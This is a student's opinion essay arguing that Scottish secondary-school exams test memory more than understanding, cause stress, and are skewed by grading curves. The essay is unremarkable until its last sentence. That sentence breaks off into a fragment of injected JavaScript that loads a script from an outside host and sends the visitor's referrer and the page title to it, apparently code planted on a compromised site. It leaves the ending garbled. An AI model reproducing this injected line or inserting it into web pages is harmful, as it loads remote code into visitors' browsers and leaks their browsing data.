Exams: Do we really need them?

(3) Exams do we need them image



By Kirsty McConnell

One month of every year strikes fear into the hearts of almost every Scottish teen. May! It is during this one month of hand cramp, highlighters and stress, most of Scottish young people sit down to do their exams. But for some the horror doesn’t end there, based on a couple pieces of paper earned by this torture, we get given the chance to do it for four, or five, more years.

But are exams the best way to test whether anything has been learnt through weeks of classes? I would say no and so would a lot of other people, but it seems like they are not going away anytime soon.

Now before you get the wrong idea that this is some whiny rant about how it’s too hard, and, in these modern times, we can google anything we need. Let me be clear, testing has existed pretty much as long as we have been able to learn and I wonder if it has ever really been the right way to go about it when the concept of ongoing assessment (on the basis of coursework or class participation) might be better applied.

My main problem with exams is that they have created a culture where everything is structured around what you have to do and know in order to pass the exam. Which is why many people, myself included, have little practice at managing money but hey we really know our way around the Pythagorean Theorem. Want to talk about weather in French? Got you covered! Want us to run a cash register? Not so much. Why wouldn’t you hire us?! I think learning should be fun, but also applicable to life beyond the education system which is why exams in their current format are not right.

Exams are very definitely a source of mental, physical and emotional trauma for teens because we spend days cramming in as much knowledge as we can handle. We spend hours perfecting the ‘correct’ way to write the answer (because it is possible to lose marks based on the phrasing of your answer!) only to walk out of the exam to find everyone put a different answer to you which it is impossible not to be stressed out by! No amount of caffeine-fuelled studying can prepare you for the pain in your arm, head and heart that comes from leaving the land of squeaky chairs, wobbly desks and uncomfortable silence.

If you think about it most exams are really just testing the memory, not a true understanding of the topic and skills at hand. This is a severe problem because it puts the folks with photographic memories at a significant advantage thereby affecting the grading curve. The concept of the grading curve is that the number of students who received each mark possible is plotted on a graph to form a pattern – traditionally a bell shape. The issue with this is that exam boards need their grading curves to be consistent year on year or else it makes them look bad. Students with photographic memories score highly so skew the grading curve positively meaning other students are marked harshly to get it back to that typical bell shape.

The question that needs to be asked is ‘Is the shape of a line more important than the future careers dependant on the results?’ Well if you work for the exam board and want to keep that job you want to answer yes to that even when the answer is very definitely no.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;